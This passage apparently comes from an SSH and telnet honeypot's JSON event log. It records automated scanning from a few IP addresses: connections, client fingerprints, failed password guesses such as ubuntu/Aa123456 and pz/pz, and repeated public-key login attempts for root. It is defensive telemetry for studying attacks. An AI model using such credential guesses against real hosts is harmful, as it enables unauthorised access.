{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:39.419595Z","src_ip":"31.40.204.166","session":"b4f067665e6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34818,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a662b65600a","protocol":"telnet","message":"New connection: 152.42.224.71:34818 (10.17.0.5:23) [session: 0a662b65600a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:44.597854Z"}
{"eventid":"cowrie.session.closed","duration":36.04587721824646,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:45.525053Z","src_ip":"152.42.224.71","session":"587da36edd34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58094,"dst_ip":"159.203.135.109","dst_port":22,"session":"183708787d2c","protocol":"ssh","message":"New connection: 31.40.204.166:58094 (159.203.135.109:22) [session: 183708787d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:49.331892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:49.336380Z","src_ip":"31.40.204.166","session":"183708787d2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:49.502850Z","src_ip":"31.40.204.166","session":"183708787d2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51642,"dst_ip":"10.17.0.5","dst_port":23,"session":"c43475eefeac","protocol":"telnet","message":"New connection: 152.42.224.71:51642 (10.17.0.5:23) [session: c43475eefeac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:49.543794Z"}
{"eventid":"cowrie.session.closed","duration":42.08423638343811,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:49.851556Z","src_ip":"152.42.224.71","session":"3f1b5b7b6a6f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:50.219889Z","src_ip":"31.40.204.166","session":"183708787d2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:51.386447Z","src_ip":"31.40.204.166","session":"183708787d2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51650,"dst_ip":"10.17.0.5","dst_port":23,"session":"c188ffed81eb","protocol":"telnet","message":"New connection: 152.42.224.71:51650 (10.17.0.5:23) [session: c188ffed81eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:52.314389Z"}
{"eventid":"cowrie.session.closed","duration":54.65832781791687,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:59.920595Z","src_ip":"152.42.224.71","session":"c0860be57639","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":46196,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fee992e20ab","protocol":"ssh","message":"New connection: 31.40.204.166:46196 (159.203.135.109:22) [session: 5fee992e20ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:00.534240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:00.539416Z","src_ip":"31.40.204.166","session":"5fee992e20ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00157260894775,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:00.803090Z","src_ip":"152.42.224.71","session":"949588bc66d0","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:01.083249Z","src_ip":"31.40.204.166","session":"5fee992e20ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pz","password":"pz","message":"login attempt [pz/pz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:01.498817Z","src_ip":"31.40.204.166","session":"5fee992e20ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.212.244.18","src_port":18188,"dst_ip":"10.17.0.5","dst_port":22,"session":"60f528710ae7","protocol":"ssh","message":"New connection: 206.212.244.18:18188 (10.17.0.5:22) [session: 60f528710ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:01.928940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:01.937657Z","src_ip":"206.212.244.18","session":"60f528710ae7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:01.952332Z","src_ip":"206.212.244.18","session":"60f528710ae7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:d8:83:4f:44:bb:bb:c9:84:f4:3c:c9:06:11:d4:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGCThSvhC24cw1xvdHsKQ6LzWOud5aJYuDCcAvF6eU3ZVMh2yn4m4w2s5Z4aZbG8lHZkhZmpW7c1FapcE/n66XUiAUJ4ZIosOXqyexDcA2HfuLIPx590f+4KIMYQjSp5hzB33GpIowg+HLzH/mEoD8RjVsB8DjpruPJvY92ingbcWQ8mPdOoJfP+75bGk9Ay4jJwMEsVQ/VgcfhDPSPjNketXvpOAC4EVh59UwUpwDGOSS0TTPOo7HERNfvSCPVzqcEjMxI9f/a30nUWG+rIBS3vvuieIXmHT3JngjZIzQv+FGMNgODt/aUyeLGvfnnf7WsuhQCnOcoqyPJltYdheB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:d8:83:4f:44:bb:bb:c9:84:f4:3c:c9:06:11:d4:6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:01.995588Z","src_ip":"206.212.244.18","session":"60f528710ae7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:d8:83:4f:44:bb:bb:c9:84:f4:3c:c9:06:11:d4:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGCThSvhC24cw1xvdHsKQ6LzWOud5aJYuDCcAvF6eU3ZVMh2yn4m4w2s5Z4aZbG8lHZkhZmpW7c1FapcE/n66XUiAUJ4ZIosOXqyexDcA2HfuLIPx590f+4KIMYQjSp5hzB33GpIowg+HLzH/mEoD8RjVsB8DjpruPJvY92ingbcWQ8mPdOoJfP+75bGk9Ay4jJwMEsVQ/VgcfhDPSPjNketXvpOAC4EVh59UwUpwDGOSS0TTPOo7HERNfvSCPVzqcEjMxI9f/a30nUWG+rIBS3vvuieIXmHT3JngjZIzQv+FGMNgODt/aUyeLGvfnnf7WsuhQCnOcoqyPJltYdheB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:02.003419Z","src_ip":"206.212.244.18","session":"60f528710ae7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:84:b6:d9:90:1f:c1:a8:3f:55:c8:f1:3d:9a:e7:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtEDq/ln3UGlhY8YceKKqijjs7O3dTh/Loa78H28i4qKb0YjHSIHdEB29bf0I0LvIVMGGxWL8iwgOivY/gbPNk1NN4mIoCoshnmctGEIO6snjj0Tgn7vut0u8QW0wsM6L31ONnVK2bgfqgvzMptEgS0iQen3gyVQJWiC+8iOb4K2Tx5227CH2tLXbhL0ZlCG+9w4kxB8+p2VOzXlmA9TuBotZawixj9+zc1uA/P/yPFGgR/ajHE5OUUzGDdEPqEy3RmD9rqAgbHsghS6kvHayo0az8kZ1km2ZYjPFWbeO6xzFa4BP+YirEElAw7VqZcXUjBpe6tWInoHT/FNk76G+hw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:84:b6:d9:90:1f:c1:a8:3f:55:c8:f1:3d:9a:e7:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:02.029007Z","src_ip":"206.212.244.18","session":"60f528710ae7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:84:b6:d9:90:1f:c1:a8:3f:55:c8:f1:3d:9a:e7:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtEDq/ln3UGlhY8YceKKqijjs7O3dTh/Loa78H28i4qKb0YjHSIHdEB29bf0I0LvIVMGGxWL8iwgOivY/gbPNk1NN4mIoCoshnmctGEIO6snjj0Tgn7vut0u8QW0wsM6L31ONnVK2bgfqgvzMptEgS0iQen3gyVQJWiC+8iOb4K2Tx5227CH2tLXbhL0ZlCG+9w4kxB8+p2VOzXlmA9TuBotZawixj9+zc1uA/P/yPFGgR/ajHE5OUUzGDdEPqEy3RmD9rqAgbHsghS6kvHayo0az8kZ1km2ZYjPFWbeO6xzFa4BP+YirEElAw7VqZcXUjBpe6tWInoHT/FNk76G+hw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:02.036838Z","src_ip":"206.212.244.18","session":"60f528710ae7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:32:c0:b3:04:d7:5e:a0:e2:de:1a:0b:e1:fa:ec:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtSZmpLX772nGIq32zfjy4vUuUXD46pIZhMjSqEmECJo4yhZSME6MEJrz05wiycpKFO7psQdlFMe11F/q4Oc92Q2JUQMUVzRSW/XO+pv8+xBzbI4dgz0cFIsSWgZRoGrDQzjyOsqxQ22XV289NgkrrhkPHEL4rTnOXOSjJVKy6KUvWydk0M1a5X3ENrxqiUr8cccjBJZDoZIVsjpXFuE5YT5mOXKXJrdwIBG5jlC7tijh61CPtIf8NfEHbRMht63Ej6fuu5lliTYTzQmrk42d6GhrUXuXxFGtX5ZrCMaGWlEYWdxgAB8iWmX3KpuQGZugpKcckMTIl79AnHtRv5OT3w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:32:c0:b3:04:d7:5e:a0:e2:de:1a:0b:e1:fa:ec:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:02.054114Z","src_ip":"206.212.244.18","session":"60f528710ae7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:32:c0:b3:04:d7:5e:a0:e2:de:1a:0b:e1:fa:ec:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtSZmpLX772nGIq32zfjy4vUuUXD46pIZhMjSqEmECJo4yhZSME6MEJrz05wiycpKFO7psQdlFMe11F/q4Oc92Q2JUQMUVzRSW/XO+pv8+xBzbI4dgz0cFIsSWgZRoGrDQzjyOsqxQ22XV289NgkrrhkPHEL4rTnOXOSjJVKy6KUvWydk0M1a5X3ENrxqiUr8cccjBJZDoZIVsjpXFuE5YT5mOXKXJrdwIBG5jlC7tijh61CPtIf8NfEHbRMht63Ej6fuu5lliTYTzQmrk42d6GhrUXuXxFGtX5ZrCMaGWlEYWdxgAB8iWmX3KpuQGZugpKcckMTIl79AnHtRv5OT3w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:02.061641Z","src_ip":"206.212.244.18","session":"60f528710ae7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:fa:82:20:07:ed:e2:9f:0a:71:c0:63:7d:29:99:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA39WJj9aONlBgBprzMaBmCAEi8ImkRUwDrbQ9JSqOdxHr2xrq7RRE7bMr+Jj0Jml7ze6SVUtJR9TqS6ni3YcLRNkB41+JZ0vXpwbL89V5ovFJMnvRo0bsWJpZcEC0PbGQHDUXnxRP6p65srZe095/GjbDr2pZH9aIPcvuFJ9QrwcjFYKQfpepFXRRmsKGwNgpfnEHXuqwQ23jCFbR8OKDJmyq6Oap+wtC5zVzJfF+6sDhg7I5HE96vdDEJ5ItDce2XajCoiwHzERpob3KpEaUPF16/Ary8dz/FdQMGzBxe6XdjDM4E2DjRFJanosXcR7TQXgnyFt9zjJcPqlRjfPuRQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cd:fa:82:20:07:ed:e2:9f:0a:71:c0:63:7d:29:99:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:02.077811Z","src_ip":"206.212.244.18","session":"60f528710ae7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:fa:82:20:07:ed:e2:9f:0a:71:c0:63:7d:29:99:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA39WJj9aONlBgBprzMaBmCAEi8ImkRUwDrbQ9JSqOdxHr2xrq7RRE7bMr+Jj0Jml7ze6SVUtJR9TqS6ni3YcLRNkB41+JZ0vXpwbL89V5ovFJMnvRo0bsWJpZcEC0PbGQHDUXnxRP6p65srZe095/GjbDr2pZH9aIPcvuFJ9QrwcjFYKQfpepFXRRmsKGwNgpfnEHXuqwQ23jCFbR8OKDJmyq6Oap+wtC5zVzJfF+6sDhg7I5HE96vdDEJ5ItDce2XajCoiwHzERpob3KpEaUPF16/Ary8dz/FdQMGzBxe6XdjDM4E2DjRFJanosXcR7TQXgnyFt9zjJcPqlRjfPuRQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:02.084907Z","src_ip":"206.212.244.18","session":"60f528710ae7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:a7:10:da:64:67:1b:bb:38:6c:fd:2a:b0:0f:82:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0lFmsKldPeQ7eoelRXHcr80rpahf3jxhcHEhcWu1bmcmmejNMXX+AvvPP1bvkZUMoc8tv8NfK75P6rPGPuxAVxaUm705aRvoa6B5fXM5FDTJ7uTqIZ7zBTZsupLFxvwBgxYNBWNKmyFtQnTI78XRV1YHF6yaZmFuIWKAnD2pjqosX+YiYOEdZFf1QC60q7WDsf2SHbG058x8zf04EuGsuipKiFchtIs5EIQWKyTnSwdVq3tRxxgqvJGVPhVFbY4kPIIA0HYGZzEaPQw6nVihlhUgC+WRD5K0K3FW5Vw0tJEGABLV+jQjHmrMGPXU2vVmQH75CLM9fgmMhTPG5VvqYw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:a7:10:da:64:67:1b:bb:38:6c:fd:2a:b0:0f:82:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:02.106765Z","src_ip":"206.212.244.18","session":"60f528710ae7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:a7:10:da:64:67:1b:bb:38:6c:fd:2a:b0:0f:82:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0lFmsKldPeQ7eoelRXHcr80rpahf3jxhcHEhcWu1bmcmmejNMXX+AvvPP1bvkZUMoc8tv8NfK75P6rPGPuxAVxaUm705aRvoa6B5fXM5FDTJ7uTqIZ7zBTZsupLFxvwBgxYNBWNKmyFtQnTI78XRV1YHF6yaZmFuIWKAnD2pjqosX+YiYOEdZFf1QC60q7WDsf2SHbG058x8zf04EuGsuipKiFchtIs5EIQWKyTnSwdVq3tRxxgqvJGVPhVFbY4kPIIA0HYGZzEaPQw6nVihlhUgC+WRD5K0K3FW5Vw0tJEGABLV+jQjHmrMGPXU2vVmQH75CLM9fgmMhTPG5VvqYw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:02.111130Z","src_ip":"206.212.244.18","session":"60f528710ae7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:02.134054Z","src_ip":"206.212.244.18","session":"60f528710ae7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:02.683280Z","src_ip":"31.40.204.166","session":"5fee992e20ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.208635807037354,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:03.972474Z","src_ip":"152.42.224.71","session":"b8fccea10d57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45588,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1e483924274","protocol":"telnet","message":"New connection: 152.42.224.71:45588 (10.17.0.5:23) [session: d1e483924274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:05.290435Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39884,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d0338a931ee","protocol":"telnet","message":"New connection: 152.42.224.71:39884 (10.17.0.5:23) [session: 0d0338a931ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:08.223110Z"}
{"eventid":"cowrie.session.closed","duration":95.5301604270935,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:10.316998Z","src_ip":"152.42.224.71","session":"266c5a14146e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39894,"dst_ip":"10.17.0.5","dst_port":23,"session":"068eb5c08dea","protocol":"telnet","message":"New connection: 152.42.224.71:39894 (10.17.0.5:23) [session: 068eb5c08dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:11.945027Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58414,"dst_ip":"159.203.135.109","dst_port":22,"session":"a90f86e774ac","protocol":"ssh","message":"New connection: 31.40.204.166:58414 (159.203.135.109:22) [session: a90f86e774ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:12.222279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:12.232245Z","src_ip":"31.40.204.166","session":"a90f86e774ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-